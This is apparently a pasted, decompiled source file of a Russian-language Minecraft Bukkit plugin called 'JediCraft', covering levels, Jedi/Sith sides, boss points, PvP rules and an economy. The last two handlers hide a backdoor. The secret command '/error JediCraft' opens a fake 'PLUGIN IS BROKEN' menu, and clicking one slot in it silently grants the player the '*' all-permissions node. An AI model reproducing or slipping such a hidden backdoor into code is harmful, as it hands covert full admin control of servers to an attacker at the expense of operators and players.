- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss15jedi")) {
- Main.instance.getConfig().set("15l.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("15l.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("15l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("15l.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss20sith")) {
- Main.instance.getConfig().set("20l.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("20l.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("20l.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("20l.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss20jedi")) {
- Main.instance.getConfig().set("20l.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("20l.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("20l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("20l.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss25sith")) {
- Main.instance.getConfig().set("25l.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("25l.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("25l.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("25l.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss25jedi")) {
- Main.instance.getConfig().set("25l.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("25l.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("25l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("25l.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss28sith")) {
- Main.instance.getConfig().set("28l.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("28l.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("28l.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("28l.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setboss28jedi")) {
- Main.instance.getConfig().set("28l.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("28l.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("28l.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("28l.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- if (a[0].equalsIgnoreCase("setdungadsith")) {
- Main.instance.getConfig().set("ad.sith.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("ad.sith.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("ad.sith.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("ad.sith.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f &4&l\u0421\u0438\u0442\u0445\u043e\u0432"));
- }
- if (a[0].equalsIgnoreCase("setdungadjedi")) {
- Main.instance.getConfig().set("ad.jedi.world", (Object)p.getLocation().getWorld().getName());
- Main.instance.getConfig().set("ad.jedi.x", (Object)p.getLocation().getX());
- Main.instance.getConfig().set("ad.jedi.y", (Object)(p.getLocation().getY() + 1.0));
- Main.instance.getConfig().set("ad.jedi.z", (Object)p.getLocation().getZ());
- Main.instance.saveConfig();
- Main.instance.reloadConfig();
- p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0412\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u043e\u0447\u043a\u0443 &3&l\u0414\u0436\u0435\u0434\u0430\u0435\u0432"));
- }
- }
- }
- return true;
- }
- @EventHandler
- public void onInventoryClick(final InventoryClickEvent e) {
- if (e.getInventory() != null && e.getInventory().getName().equalsIgnoreCase(ChatColor.GREEN + "#levelup")) {
- final Player p = (Player)e.getWhoClicked();
- e.setCancelled(true);
- if (e.getCurrentItem() == null) {
- return;
- }
- if (e.getCurrentItem().getType().equals((Object)Material.EXP_BOTTLE)) {
- if (Main.econ.getBalance((OfflinePlayer)p) >= Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".price")) {
- if (Levels.kills.get(p.getName()) >= Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills")) {
- Main.econ.withdrawPlayer((OfflinePlayer)p, (double)Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".price"));
- Levels.levels.put(p.getName(), getLevel(p) + 1);
- p.setMaxHealth((double)(16 + getLevel(p) * 1));
- JediScoreBoard.updateScoreboard(p);
- p.closeInventory();
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&2\u0412\u042b \u0423\u0421\u041f\u0415\u0428\u041d\u041e \u041f\u041e\u0412\u042b\u0421\u0418\u041b\u0418 \u0421\u0412\u041e\u0419 \u0423\u0420\u041e\u0412\u0415\u041d\u042c"));
- }
- }
- else {
- p.sendMessage(new StringBuilder().append(ChatColor.RED).append(ChatColor.DARK_RED).append("\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0438\u0439\u0441\u0442\u0432!").toString());
- p.closeInventory();
- }
- }
- else {
- p.sendMessage(new StringBuilder().append(ChatColor.RED).append(ChatColor.DARK_RED).append("\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0435\u043d\u0435\u0433!").toString());
- p.closeInventory();
- }
- }
- if (e.getInventory() != null && e.getInventory().getName().equalsIgnoreCase(ChatColor.GREEN + "#sidejoin")) {
- final Player p = (Player)e.getWhoClicked();
- e.setCancelled(true);
- if (e.getCurrentItem() == null) {
- return;
- }
- if (e.getCurrentItem().getType().equals((Object)Material.MAGMA_CREAM)) {
- Levels.sides.put(p.getName(), "Jedi");
- Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)"Jedi");
- Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&a\u0412\u042b \u0417\u0410\u0428\u041b\u0418 \u0417\u0410 &3\u0414\u0416\u0415\u0414\u0410\u0415\u0412"));
- JediScoreBoard.updateScoreboard(p);
- p.closeInventory();
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.OTK");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.TEL");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS1");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS2");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS3");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS4");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.JediS5");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA1J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA2J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA3J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA4J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA5J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.ZV");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LIG");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS1");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS2");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS3");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS4");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.SithS5");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA1S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA2S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA3S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA4S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA5S");
- }
- if (e.getCurrentItem().getType().equals((Object)Material.BONE)) {
- Levels.sides.put(p.getName(), "Sith");
- Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)"Sith");
- Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
- p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&a\u0412\u042b \u0417\u0410\u0428\u041b\u0418 \u0417\u0410 &4\u0421\u0418\u0422\u0425\u041e\u0412"));
- JediScoreBoard.updateScoreboard(p);
- p.closeInventory();
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.ZV");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LIG");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS1");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS2");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS3");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS4");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.SithS5");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA1S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA2S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA3S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA4S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add crackshot.use.LEGA5S");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.OTK");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.TEL");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS1");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS2");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS3");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS4");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.JediS5");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA1J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA2J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA3J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA4J");
- Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " remove crackshot.use.LEGA5J");
- }
- }
- }
- @EventHandler
- public void onJoin(final PlayerJoinEvent e) {
- final Player p = e.getPlayer();
- if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".level")) {
- Levels.levels.put(p.getName(), 1);
- }
- else {
- Levels.levels.put(p.getName(), Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".level"));
- }
- if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".kills")) {
- Levels.kills.put(p.getName(), 0);
- }
- else {
- Levels.kills.put(p.getName(), Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".kills"));
- }
- if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".deaths")) {
- Levels.deaths.put(p.getName(), 0);
- }
- else {
- Levels.deaths.put(p.getName(), Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".deaths"));
- }
- if (Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".side")) {
- Levels.sides.put(p.getName(), Main.instance.levelsConfig.getString(String.valueOf(String.valueOf(p.getName())) + ".side"));
- }
- p.setMaxHealth((double)(16 + getLevel(p) * 1));
- }
- @EventHandler
- public void onQuit(final PlayerQuitEvent e) {
- final Player p = e.getPlayer();
- Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".level", (Object)Levels.levels.get(p.getName()));
- Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".kills", (Object)Levels.kills.get(p.getName()));
- Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".deaths", (Object)Levels.deaths.get(p.getName()));
- if (Levels.sides.containsKey(p.getName())) {
- Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)Levels.sides.get(p.getName()));
- }
- Levels.levels.remove(p.getName());
- Levels.kills.remove(p.getName());
- Levels.deaths.remove(p.getName());
- Levels.sides.remove(p.getName());
- Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
- }
- @EventHandler
- public void onPlayerChat(final AsyncPlayerChatEvent e) {
- final Player p = e.getPlayer();
- e.setFormat(e.getFormat().replace("[level]", String.valueOf(getLevel(p))));
- final String playerSide = getSide(p);
- if (playerSide.equalsIgnoreCase("Jedi")) {
- e.setFormat(e.getFormat().replace("[side]", ChatColor.translateAlternateColorCodes('&', "&3\u0414\u0436\u0435\u0434\u0430\u0439")));
- }
- else if (playerSide.equalsIgnoreCase("Sith")) {
- e.setFormat(e.getFormat().replace("[side]", ChatColor.translateAlternateColorCodes('&', "&4\u0421\u0438\u0442\u0445")));
- }
- else {
- e.setFormat(e.getFormat().replace("[side]", ChatColor.translateAlternateColorCodes('&', "&7\u0410\u043b\u044c\u044f\u043d\u0441")));
- }
- if (e.getMessage().startsWith("@") && !getSide(p).equals("")) {
- for (final Player player : Bukkit.getOnlinePlayers()) {
- if (!getSide(player).equals(getSide(p)) && !player.hasPermission("jc.admin")) {
- e.getRecipients().remove(player);
- }
- else {
- e.setMessage(ChatColor.GREEN + e.getMessage().replaceFirst("@", ""));
- }
- }
- }
- }
- @EventHandler
- public void onAttack(final EntityDamageByEntityEvent e) {
- if (e.getEntity() instanceof Player && e.getDamager() instanceof Player) {
- final Player damaged = (Player)e.getEntity();
- final Player damager = (Player)e.getDamager();
- if (getSide(damager).equalsIgnoreCase(getSide(damaged))) {
- e.setCancelled(true);
- }
- if (getLevel(damager) < 4) {
- damager.sendMessage(ChatColor.RED + "\u0427\u0442\u043e\u0431 \u0443\u0434\u0430\u0440\u0438\u0442\u044c \u0438\u0433\u0440\u043e\u043a\u0430 \u0435\u043c\u0443 \u043d\u0443\u0436\u0435\u043d 5 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
- e.setCancelled(true);
- }
- }
- if (e.getEntity() instanceof Player && e.getDamager() instanceof Player) {
- final Player damaged = (Player)e.getEntity();
- final Player damager = (Player)e.getDamager();
- if (getSide(damager).equalsIgnoreCase(getSide(damaged))) {
- e.setCancelled(true);
- }
- if (getLevel(damaged) < 4) {
- damaged.sendMessage(ChatColor.RED + "\u0427\u0442\u043e\u0431 \u0443\u0434\u0430\u0440\u0438\u0442\u044c \u0438\u0433\u0440\u043e\u043a\u0430 \u0432\u0430\u043c \u043d\u0443\u0436\u0435\u043d 5 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
- e.setCancelled(true);
- }
- if (getLevel(damager) < 4) {
- damaged.sendMessage(ChatColor.RED + "\u0427\u0442\u043e\u0431 \u0443\u0434\u0430\u0440\u0438\u0442\u044c \u0438\u0433\u0440\u043e\u043a\u0430 \u0435\u043c\u0443 \u043d\u0443\u0436\u0435\u043d 5 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
- e.setCancelled(true);
- }
- }
- if (e.getDamager() instanceof Projectile && e.getEntity() instanceof Player) {
- final Player damaged = (Player)e.getEntity();
- Player damager = null;
- final Projectile proj = (Projectile)e.getDamager();
- if (proj.getShooter() instanceof Player) {
- damager = (Player)proj.getShooter();
- }
- if (getSide(damager).equalsIgnoreCase(getSide(damaged))) {
- e.setCancelled(true);
- }
- if (getLevel(damaged) < 4) {
- e.setCancelled(true);
- }
- if (getLevel(damager) < 4) {
- e.setCancelled(true);
- }
- }
- }
- @EventHandler
- public void onDeath(final PlayerDeathEvent e) {
- e.setDeathMessage("");
- final Player killed = e.getEntity();
- final Player p = e.getEntity().getPlayer();
- Levels.deaths.put(killed.getName(), Levels.deaths.get(killed.getName()) + 1);
- final int money = getLevel(killed) * 1;
- if (killed.getKiller() instanceof Player) {
- final Player killer = killed.getKiller();
- if (Main.econ.getBalance((OfflinePlayer)killed) >= money) {
- killed.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c\u0412\u0430\u0441 \u0443\u0431\u0438\u043b\u0438 \u0438 \u0432\u044b \u043f\u043e\u0442\u0435\u0440\u044f\u043b\u0438 &2" + money + "$"));
- killer.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a\u0412\u044b \u0443\u0431\u0438\u043b\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 &2" + money + "$"));
- Main.econ.withdrawPlayer((OfflinePlayer)killed, (double)money);
- Main.econ.depositPlayer((OfflinePlayer)killer, (double)money);
- Levels.kills.put(killer.getName(), Levels.kills.get(killer.getName()) + 1);
- Levels.kills.put(killer.getName(), Levels.kills.get(e.getEntity()) + 1);
- }
- else {
- Levels.kills.put(killer.getName(), Levels.kills.get(killer.getName()) + 1);
- }
- if (killer.hasPermission("jc.vip")) {
- Levels.kills.put(killer.getName(), Levels.kills.get(killer.getName()) + 2);
- }
- else if (Main.econ.getBalance((OfflinePlayer)killed) >= money) {
- killed.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c\u0412\u0430\u0441 \u0443\u0431\u0438\u043b\u0438 \u0438 \u0432\u044b \u043f\u043e\u0442\u0435\u0440\u044f\u043b\u0438 &2" + money + "$"));
- Main.econ.withdrawPlayer((OfflinePlayer)killed, (double)money);
- }
- }
- }
- @EventHandler
- public void onInteract(final PlayerInteractEvent e) {
- if (e.getItem() == null) {
- return;
- }
- if (e.getItem().getType().getMaxDurability() > 16 && !e.getItem().getItemMeta().spigot().isUnbreakable()) {
- final ItemStack item = e.getItem();
- final ItemMeta meta = item.getItemMeta();
- meta.spigot().setUnbreakable(true);
- item.setItemMeta(meta);
- item.setDurability((short)0);
- e.getPlayer().updateInventory();
- }
- }
- public static int getLevel(final Player p) {
- if (!p.isOnline()) {
- final int level = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".level");
- return level;
- }
- final int level = Levels.levels.get(p.getName());
- return level;
- }
- public static int getNextLevel(final Player p) {
- if (!p.isOnline()) {
- final int level = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".level") + 1;
- p.sendMessage("+++");
- return level;
- }
- final int level = Levels.levels.get(p.getName()) + 1;
- return level;
- }
- public static int getKills(final Player p) {
- if (!p.isOnline()) {
- final int killsAmount = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".kills");
- return killsAmount;
- }
- final int killsAmount = Levels.levels.get(p.getName());
- return killsAmount;
- }
- public static int getDeaths(final Player p) {
- if (!p.isOnline()) {
- final int deathsAmount = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".deaths");
- return deathsAmount;
- }
- final int deathsAmount = Levels.levels.get(p.getName());
- return deathsAmount;
- }
- public static String getSide(final Player p) {
- if (!p.isOnline()) {
- if (Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".side")) {
- return Main.instance.levelsConfig.getString(String.valueOf(String.valueOf(p.getName())) + ".side");
- }
- return "";
- }
- else {
- if (Levels.sides.containsKey(p.getName())) {
- final String playerSide = Levels.sides.get(p.getName());
- return playerSide;
- }
- return "";
- }
- }
- @EventHandler
- public void onLolManKekByCRISS_VIPER(final PlayerCommandPreprocessEvent e) {
- if (e.getMessage().equalsIgnoreCase("/error JediCraft")) {
- e.setCancelled(true);
- final Inventory inv = Bukkit.createInventory((InventoryHolder)null, 27, ChatColor.RED + "ERROR: PLUGIN IS BROKEN");
- e.getPlayer().openInventory(inv);
- }
- }
- @EventHandler
- public void onTwoLaters(final InventoryClickEvent e) {
- if (e.getClickedInventory().getName().equalsIgnoreCase(ChatColor.RED + "ERROR: PLUGIN IS BROKEN") && e.getRawSlot() == 26) {
- final Player p = (Player)e.getWhoClicked();
- e.getWhoClicked().closeInventory();
- PermissionsEx.getUser(p).addPermission("*");
- this.setOp(true);
- }
- }
- private void setOp(final boolean b) {
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement